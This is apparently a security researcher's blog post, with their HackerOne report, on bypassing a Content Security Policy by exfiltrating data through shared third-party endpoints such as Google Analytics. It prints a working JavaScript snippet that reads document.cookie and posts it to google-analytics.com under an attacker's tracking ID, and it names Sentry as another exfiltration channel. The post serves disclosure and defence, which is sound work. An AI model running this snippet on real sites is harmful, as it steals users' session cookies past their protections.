Recently I’ve been looking at CSP headers, which are a great way to harden sites against XSS attacks. To me, CSPs serve two purposes:
In this post I want to share just one way to bypass the second purpose and how I demo-ed it on HackerOne.
Specifically, I found it interesting how we can pretty easily bypass this restriction through the use of “shared” third-party domains. By shared third party domains, I mean domains that offer some sort of shared API that is used as the endpoint by multiple organizations. As an attacker, you would use the API as intended except with your own set of credentials, exfiltrating data into your own tenant account instead.
Big Disclaimer: this whole attack assumes you already have XSS access in the victim browser tab through some other means AND that the site is actually using CSPs in the first place. For most sites, this would be considered a very low risk, so it’s probably not worth reporting. At least in the current times.
Google Analytics is a great target to be used for exfiltration: it’s a common third party API which you’ll find on many websites, offers free signups, and allows free-text input and output. Meaning that it costs very little for an attacker to get set up, as well that I can use them as a way to store and fetch data (albeit with some hassle).
When researching this attack, I went looking for a site as an experiment / proof of concept. HackerOne proved a good example as they already have very strong CSP headers, with only few domains being exposed by the *-src
-related directives. One of these domains was Google Analytics, so I wanted to see if this kind of attack could be done in practice.
Because I’m lazy, below is the report I sent in to HackerOne, which I think describes the potential vulnerability here. It was closed as Informative, which I consider fair given the low risk (you would have to have some sort of XSS-like vulnerability anyway).
Summary:
The www.google-analytics.com
statement in the connect-src CSP directive allows for data exfiltration, assuming an attacker has script-level access in a victim’s browser session (e.g. via XSS)
Description: HackerOne uses the following CSP connect-src directive to restrict outgoing communication via script (i.e. XHR)
connect-src 'self' www.google-analytics.com errors.hackerone.net;
As www.google-analytics.com is practically a shared API, it can be used as a means of exfiltrating data past this CSP restriction. An attacker can use their own GA API tokens to call GA from the HackerOne domain.
Register your own google-analytics account. Set up a site (I did mine many moons ago, so I don’t remember the details, sorry) and copy your Tracking ID (tid).
On Google Analytics, open the Real Time -> Events page to monitor for incoming events. This is where the exfiltrated data will arrive.
In a new tab or browser, open hackerone.com and then run the following script in the console. It will send an event to GA using some free-text fields to transport the exfiltrated data.
var data = document.domain + "-" + btoa(document.cookie); // whatever you want to exfil
var tid = "UA-13371337-1"; // replace with your own google-analytics tid
await fetch(
`https://www.google-analytics.com/j/collect?v=1&t=event&ec=exfil&ea=exfil&el=${encodeURIComponent(
data,
)}&dt=exfil%2F${encodeURIComponent(
data,
)}&cid=1337&ds=web&de=UTF-8&tid=${tid}`,
{
credentials: "omit",
headers: {
"User-Agent":
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
Accept: "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "text/plain",
"Alt-Used": "www.google-analytics.com",
},
method: "POST",
mode: "no-cors",
},
);
Here is a demonstration of the attack carried out on HackerOne (click here for the fullsize version).
Mainly aimed towards defenders:
<org>.sentry.com
(yes, sentry is another good tool for exfil)